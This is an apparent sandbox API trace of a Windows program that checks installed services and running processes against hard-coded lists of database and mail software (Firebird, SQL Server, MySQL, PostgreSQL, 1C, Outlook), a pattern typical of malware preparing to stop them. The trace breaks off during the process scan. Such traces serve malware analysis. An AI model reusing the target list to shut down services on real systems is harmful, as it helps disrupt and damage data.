	[0271.060] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0271.060] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0271.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0271.060] lstrlenW (lpString="CscService") returned 10
	[0271.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0271.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0271.060] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0271.061] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0271.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0271.061] lstrlenW (lpString="DcomLaunch") returned 10
	[0271.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0271.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0271.061] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0271.061] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0271.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0271.061] lstrlenW (lpString="Dhcp") returned 4
	[0271.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0271.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0271.061] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0271.061] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0271.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0271.061] lstrlenW (lpString="Dnscache") returned 8
	[0271.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0271.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0271.061] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0271.061] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0271.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0271.061] lstrlenW (lpString="DPS") returned 3
	[0271.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0271.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0271.061] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0271.061] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0271.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0271.061] lstrlenW (lpString="eventlog") returned 8
	[0271.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0271.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0271.061] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0271.061] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0271.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0271.062] lstrlenW (lpString="EventSystem") returned 11
	[0271.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0271.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0271.062] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0271.062] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0271.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0271.062] lstrlenW (lpString="gpsvc") returned 5
	[0271.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0271.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0271.062] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0271.062] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0271.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0271.062] lstrlenW (lpString="iphlpsvc") returned 8
	[0271.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0271.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0271.062] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0271.062] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0271.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0271.062] lstrlenW (lpString="LanmanServer") returned 12
	[0271.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0271.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0271.062] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0271.062] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0271.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0271.062] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0271.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0271.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0271.062] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0271.062] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0271.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0271.063] lstrlenW (lpString="lmhosts") returned 7
	[0271.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0271.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0271.063] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0271.063] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0271.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0271.063] lstrlenW (lpString="MMCSS") returned 5
	[0271.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0271.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0271.063] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0271.063] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0271.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0271.063] lstrlenW (lpString="MpsSvc") returned 6
	[0271.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0271.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0271.063] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0271.063] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0271.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0271.063] lstrlenW (lpString="NlaSvc") returned 6
	[0271.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0271.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0271.063] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0271.063] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0271.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0271.063] lstrlenW (lpString="nsi") returned 3
	[0271.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0271.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0271.063] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0271.063] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0271.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0271.064] lstrlenW (lpString="PcaSvc") returned 6
	[0271.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0271.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0271.064] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0271.064] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0271.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0271.064] lstrlenW (lpString="PlugPlay") returned 8
	[0271.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0271.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0271.064] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0271.064] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0271.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0271.064] lstrlenW (lpString="Power") returned 5
	[0271.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0271.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0271.064] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0271.064] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0271.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0271.064] lstrlenW (lpString="ProfSvc") returned 7
	[0271.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0271.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0271.064] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0271.064] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0271.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0271.064] lstrlenW (lpString="RpcEptMapper") returned 12
	[0271.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0271.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0271.064] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0271.064] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0271.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0271.065] lstrlenW (lpString="RpcSs") returned 5
	[0271.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0271.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0271.065] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0271.065] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0271.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0271.065] lstrlenW (lpString="SamSs") returned 5
	[0271.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0271.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0271.065] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0271.065] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0271.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0271.065] lstrlenW (lpString="Schedule") returned 8
	[0271.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0271.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0271.065] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0271.065] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0271.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0271.065] lstrlenW (lpString="SENS") returned 4
	[0271.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0271.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0271.065] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0271.065] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0271.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0271.065] lstrlenW (lpString="ShellHWDetection") returned 16
	[0271.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0271.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0271.065] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0271.065] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0271.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0271.065] lstrlenW (lpString="Spooler") returned 7
	[0271.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0271.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0271.066] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0271.066] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0271.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0271.066] lstrlenW (lpString="SysMain") returned 7
	[0271.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0271.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0271.066] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0271.066] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0271.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0271.066] lstrlenW (lpString="Themes") returned 6
	[0271.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0271.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0271.066] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0271.066] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0271.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0271.066] lstrlenW (lpString="TrkWks") returned 6
	[0271.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0271.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0271.066] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0271.066] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0271.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0271.066] lstrlenW (lpString="UxSms") returned 5
	[0271.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0271.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0271.066] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0271.066] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0271.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0271.066] lstrlenW (lpString="Winmgmt") returned 7
	[0271.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0271.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0271.067] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0271.067] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0271.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0271.067] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41f5d68 | out: hHeap=0x4a0000) returned 1
	[0271.067] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x218
	[0271.068] Process32FirstW (in: hSnapshot=0x218, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0271.068] Process32NextW (in: hSnapshot=0x218, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0271.068] lstrlenW (lpString="System") returned 6
	[0271.068] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0271.069] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0271.069] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0271.069] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0271.069] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0271.069] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0271.069] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0271.069] Process32NextW (in: hSnapshot=0x218, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0271.069] lstrlenW (lpString="smss.exe") returned 8
	[0271.069] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0271.069] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0271.069] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0271.069] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0271.069] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0271.069] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0271.069] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0271.069] Process32NextW (in: hSnapshot=0x218, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0271.069] lstrlenW (lpString="csrss.exe") returned 9
	[0271.069] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0271.069] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0271.070] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0271.070] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0271.070] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0271.070] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0271.070] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0271.070] Process32NextW (in: hSnapshot=0x218, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0271.070] lstrlenW (lpString="wininit.exe") returned 11
	[0271.070] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0271.070] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0271.070] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0271.070] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0271.070] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0271.070] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0271.070] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0271.070] Process32NextW (in: hSnapshot=0x218, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0271.070] lstrlenW (lpString="csrss.exe") returned 9
	[0271.070] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0271.070] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0271.070] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0271.071] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0271.071] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0271.071] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0271.071] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0271.071] Process32NextW (in: hSnapshot=0x218, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0271.071] lstrlenW (lpString="winlogon.exe") returned 12
	[0271.071] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0271.071] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0271.071] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0271.071] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0271.071] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0271.071] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0271.071] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0271.071] Process32NextW (in: hSnapshot=0x218, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0271.071] lstrlenW (lpString="services.exe") returned 12
	[0271.071] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0271.071] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0271.071] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0271.071] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0271.072] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0271.072] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0271.072] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0271.072] Process32NextW (in: hSnapshot=0x218, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0271.072] lstrlenW (lpString="lsass.exe") returned 9
	[0271.072] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0271.072] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0271.072] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0271.072] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0271.072] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0271.072] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0271.072] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0271.072] Process32NextW (in: hSnapshot=0x218, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0271.072] lstrlenW (lpString="lsm.exe") returned 7
	[0271.072] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0271.072] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0271.072] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0271.072] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0271.073] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0271.073] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0271.073] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0271.073] Process32NextW (in: hSnapshot=0x218, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0271.073] lstrlenW (lpString="svchost.exe") returned 11
	[0271.073] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0271.073] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0271.073] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0271.073] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0271.073] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0271.073] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0271.073] Process32NextW (in: hSnapshot=0x218, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0271.073] lstrlenW (lpString="svchost.exe") returned 11
	[0271.073] Process32NextW (in: hSnapshot=0x218, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0271.074] lstrlenW (lpString="svchost.exe") returned 11
	[0271.074] Process32NextW (in: hSnapshot=0x218, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0271.074] lstrlenW (lpString="svchost.exe") returned 11
